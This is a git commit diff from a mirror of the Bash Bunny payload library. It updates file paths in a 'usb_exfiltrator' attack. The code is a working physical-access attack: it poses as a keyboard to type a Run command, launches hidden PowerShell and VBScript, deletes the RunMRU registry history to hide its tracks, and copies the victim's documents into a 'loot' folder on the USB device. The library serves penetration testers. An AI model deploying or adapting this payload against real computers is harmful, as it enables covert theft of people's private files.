hak5/bashbunny-payloads
1
0
Fork 0
mirror of https://github.com/hak5/bashbunny-payloads.git synced 2025-10-29 16:58:25 +00:00
Code Issues Packages Projects Releases Wiki Activity

Remove references to root directory for usb-exfiltrator payload

Browse Source
This commit is contained in:
Carleton Stuberg
2017-03-04 15:32:36 -05:00
parent 6b6486978e
commit ea33a9b984
5 changed files with 10 additions and 15 deletions
Download Patch File Download Diff File Expand all files Collapse all files

2
payloads/library/usb_exfiltrator/d.cmd
View File

@@ -1,4 +1,4 @@
@echo off @echo off
start /b /wait powershell.exe -nologo -WindowStyle Hidden -sta -command "$wsh = New-Object -ComObject WScript.Shell;$wsh.SendKeys('{CAPSLOCK}');sleep -m 250;$wsh.SendKeys('{CAPSLOCK}');sleep -m 250;$wsh.SendKeys('{CAPSLOCK}');sleep -m 250;$wsh.SendKeys('{CAPSLOCK}')" start /b /wait powershell.exe -nologo -WindowStyle Hidden -sta -command "$wsh = New-Object -ComObject WScript.Shell;$wsh.SendKeys('{CAPSLOCK}');sleep -m 250;$wsh.SendKeys('{CAPSLOCK}');sleep -m 250;$wsh.SendKeys('{CAPSLOCK}');sleep -m 250;$wsh.SendKeys('{CAPSLOCK}')"
cscript %~d0\i.vbs %~d0\e.cmd cscript %~dp0\i.vbs %~dp0\e.cmd
@exit @exit

2
payloads/library/usb_exfiltrator/e.cmd
View File

@@ -6,7 +6,7 @@ REG DELETE HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\
REM Creates directory compromised of computer name, date and time REM Creates directory compromised of computer name, date and time
REM %~d0 = path to this batch file. %COMPUTERNAME%, %date% and %time% pretty obvious REM %~d0 = path to this batch file. %COMPUTERNAME%, %date% and %time% pretty obvious
set dst=%~d0\loot\%COMPUTERNAME%_%date:~-4,4%%date:~-10,2%%date:~7,2%_%time:~-11,2%%time:~-8,2%%time:~-5,2% set dst=%~dp0\loot\%COMPUTERNAME%_%date:~-4,4%%date:~-10,2%%date:~7,2%_%time:~-11,2%%time:~-8,2%%time:~-5,2%
mkdir %dst% >>nul mkdir %dst% >>nul
if Exist %USERPROFILE%\Documents ( if Exist %USERPROFILE%\Documents (

8
payloads/library/usb_exfiltrator/install.sh
View File

@@ -1,8 +0,0 @@
LED R G
PAYLOADDIR=$(find /root/udisk/payloads/ -name d.cmd -printf '%h\n')
cd $PAYLOADDIR
mv d.cmd e.cmd i.vbs /root/udisk/
sync
LED R G B 30
sleep 2
exit 0

10
payloads/library/usb_exfiltrator/payload.txt
View File

@@ -4,16 +4,20 @@
# Author: Hak5Darren # Author: Hak5Darren
# Version: 1.0 # Version: 1.0
# Target: Windows XP SP3+ # Target: Windows XP SP3+
# Props: Diggster # Props: Diggster, IMcPwn
# #
# Executes d.cmd from the root of the Bash Bunny USB Disk partition, # Executes d.cmd from the selected switch folder of the Bash Bunny USB Disk partition,
# which in turn executes e.cmd invisibly using i.vbs # which in turn executes e.cmd invisibly using i.vbs
# which in turn copies documents to the loot folder on the Bash Bunny. # which in turn copies documents to the loot folder on the Bash Bunny.
# #
# Source bunny_helpers.sh to get environment variable SWITCH_POSITION
source bunny_helpers.sh
LED R LED R
ATTACKMODE HID STORAGE ATTACKMODE HID STORAGE
QUACK GUI r QUACK GUI r
QUACK DELAY 100 QUACK DELAY 100
QUACK STRING powershell ".((gwmi win32_volume -f 'label=''BashBunny''').Name+'d.cmd')" QUACK STRING powershell ".((gwmi win32_volume -f 'label=''BashBunny''').Name+'payloads\$SWITCH_POSITION\d.cmd')"
QUACK ENTER QUACK ENTER
LED G LED G

3
payloads/library/usb_exfiltrator/readme.md
View File

@@ -1,7 +1,7 @@
# Exfiltrator for Bash Bunnys # Exfiltrator for Bash Bunnys
* Author: Hak5Darren * Author: Hak5Darren
* Version: Version 1.0 * Version: Version 1.1
* Target: Windows * Target: Windows
## Description ## Description
@@ -17,7 +17,6 @@ By default the staged payload exfiltrates PDF files. Change the xcopy commands f
| LED | Status | | LED | Status |
| ------------------ | -------------------------------------------- | | ------------------ | -------------------------------------------- |
| Amber | Installing e.cmd d.cmd and i.vbs to USB Disk |
| White (blinking) | Setup Failed. Target didn't obtain IP | | White (blinking) | Setup Failed. Target didn't obtain IP |
| Red | Attack Setup | | Red | Attack Setup |
| Green | Attack Complete | | Green | Attack Complete |